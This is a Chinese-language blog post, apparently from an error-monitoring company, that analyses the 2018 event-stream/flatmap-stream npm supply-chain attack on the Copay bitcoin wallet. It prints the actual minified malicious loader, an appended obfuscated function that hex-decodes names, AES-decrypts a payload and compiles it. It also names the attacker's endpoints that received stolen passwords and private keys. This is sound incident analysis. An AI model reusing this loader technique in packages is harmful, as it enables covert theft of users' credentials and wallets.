JavaScript黑客是这样窃取比特币的,Vue开发者不用担心!
摘要: 不做黑客,干点其他事也行啊!
如果你是JavaScript或者区块链开发者,如果你有关注区块链以及比特币,那么你应该听说了比特币钱包Copay被黑客攻击的事情。但是,你知道这是怎么回事吗?
总结
- 比特币钱包copay依赖event-stream模块;
- 黑客从骗取了event-stream模块的npm发布权限;
- 黑客为event-stream模块添加了依赖flatmap-stream;
- flatmap-stream含有黑客代码,仅会在copay项目中正确执行,窃取用户的密码、私钥等信息,从而盗取比特币;
- 有人说什么Vue可能遭受攻击,其实没有这回事,因为黑客代码只会在copay项目中正确执行。只有copay项目的package.json中的description字符串”A Secure Bitcoin Wallet”能够解密黑客代码;而且,黑客的代码是为copay量身定做的,对其他项目没有作用;再说,黑客是来窃取的比特币的,又不是挖矿,你的项目有比特币给人家偷吗?
Q&A
- 哪个版本的copay被攻击了?5.0.2到5.1.0
- 哪个版本的event-stream被攻击了?3.3.6
- 哪个版本的flatmap-stream被攻击了?0.1.1
- Vue会受到攻击吗?不会
另外,欢迎大家免费试用Fundebug的错误监控服务哈~
寻找flatmap-stream中的黑客代码
flatmap-stream已经被npm删除了,不过还能在UNPKG上找到代码:https://unpkg.com/flatmap-stream@0.1.1/index.min.js
index.min.js是经过压缩的代码,因此可读性很差:
var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); |
但是,黑客的黑客代码隐藏的并不深,直接添加在index.min.js的后面:
!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); |
使用unminify将黑客代码还原:
! function() { |
这段代码其实很短,黑客混淆的方式并不高明,我们可以一步一步还原。
- 使用require替换变量r
- 使用process替换变量t
- 函数e任务很简单,就是把16进制字符串转为ASCII字符串,因此更名为hexToAscii
!(function() { |
很明显,黑客使用hexToAscii函数是为了混淆代码,比如hexToAscii(“2e2f746573742f64617461”)其实就是./test/data,因此数组n即为:https://unpkg.com/flatmap-stream@0.1.1/test/data.js,这个data文件已经找不到了,根据FallingSnow之前的分析,它是一个数组:
[ |
数组n中一共有10个元素,除了前面2个元素,其他元素在代码中均通过hexToAscii函数进行了转换,其转换结果如下:
- hexToAscii(n[2]): crypto
- hexToAscii(n[3]): env
- hexToAscii(n[4]): npm_package_description
- hexToAscii(n[5]): aes256
- hexToAscii(n[6]): createDecipher
- hexToAscii(n[7]): _compile
- hexToAscii(n[8]): hex
- hexToAscii(n[9]): utf8
将这些值全部替换掉,代码如下:
!(function() { |
代码中使用了crypto.createDecipher函数,其文档如下:
crypto.createDecipher(algorithm, password) |
可知,代码将项目的npm_package_description作为密码来解密n[0]字符串,而copay项目的package.json的description属性是“A Secure Bitcoin Wallet”,”恰好”可以成功解密n[0]字符串,unminify之后如下:
/*@@*/ |
我们在解密的代码中看到了完全一样的套路,只是这次解密的是n[1],unminify之后如下:
/*@@*/ ! function() { |
这段代码才是真正窃取比特币的代码,我们稍后再分析。
黑客是如何隐藏黑客代码的?
- 黑客一共隐藏了3段代码;
- 第1段代码隐藏在flatmap-stream的index.min.js结尾,代码中使用了16进制字符串来隐藏正真使用的字符串;
- 第2段代码隐藏在flatmap-stream的test/data的数组中,需要使用copay项目的description字符串才能解密,它在第1段代码中解密;
- 第3段代码也隐藏在flatmap-stream的test/data的数组中,需要使用copay项目的description字符串才能解密,它在第2段代码中解密;
- 正真窃取比特币钱包copay的是第3段代码;
- 第2段和第3段代码刚好需要使用copay中的description字符串“A Secure Bitcoin Wallet”才能解密,可知黑客攻击的目标就是copay项目;
- 黑客多处使用了Buffer.from(str, “hex”).toString()来混淆代码,将ASCII字符串转换为16进制字符串,使我们难以读懂代码;
- 黑客2次使用了AES256算法加密黑客代码,如果找不到解密的密码,就不可能知道黑客到底是攻击哪个项目,也不知道他干了什么。 maths22成功找到了密码”A Secure Bitcoin Wallet”以及被攻击的项目copay;
- 黑客把所有黑客代码都写在了try…catch里面,否则抛出莫名其妙的错误很容易暴露;(这里从另一个角度证明了监控代码错误的重要性,欢迎大家免费试用Fundebug)
黑客是如何窃取比特币的
我分析并且简化了黑客的第3段代码,如下:
/*global cordova resolveLocalFileSystemURL chrome*/ |
详细分析可以看我写的代码注释,另外,我还总结了这些要点
- 这段代码的目的是窃取用户信息,并非挖矿;
- 黑客通过重写getKeys函数窃取了copay用户的密码,发送到http://111.90.151.134:8080/p
- 黑客窃取了copay用户所有的隐私信息,包括私钥,发送到http://111.90.151.134:8080/c
- 黑客对窃取的数据进行了简单混淆以及公钥加密,因此只有他可以读取窃取的数据;
- 黑客显然分析了copay源码,然后量身定做了这段代码,因此这段代码对其他项目是无效的,肯定会报错,所以他写了很多try…catch。从另一个角度来讲,其他项目比如Vue完全不用担心;
- 通过nmap命令扫描黑客的服务器111.90.151.134的8080端口可知,他目前已经不再接收窃取的数据;
结尾
通过这件事,大家可能会觉得开源不安全,但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据,就是因为代码是开源的,他不敢乱来。另外,这件事虽然潜伏了几个月,但是一经发现,大家分析一下代码,齐心协力很快就发现黑客到底干了什么,把整件事的来龙去脉翻了个底朝天,我也是基于大家的工作又梳理了这件事。我们应该思考的是,如何让代码更加安全,而这件事恰恰可以给我们很多启示,这个我下次再聊。
其实,这件事挺有意思的,还有很多问题,比如黑客一共用到了哪些技巧?黑客是怎么被发现的?黑客究竟是谁?如何保证JavaScript与区块链的安全性?以后再说吧…
参考
- Details about the event-stream incident
- event-stream vulnerability explained
- I don’t know what to say.
- event-stream dependency attack steals wallets from users of copay
- 月下载量千万的npm包被黑客篡改,Vue开发者可能正在遭受攻击
关于Fundebug
Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了30亿+错误事件,付费客户有阳光保险、达令家、核桃编程、荔枝FM、微脉等众多品牌企业。欢迎大家免费试用!
版权声明: 转载时请注明作者KiwenLau以及本文地址: https://kiwenlau.com/2018/12/03/how-does-javascript-hacker-steal-bitcoin/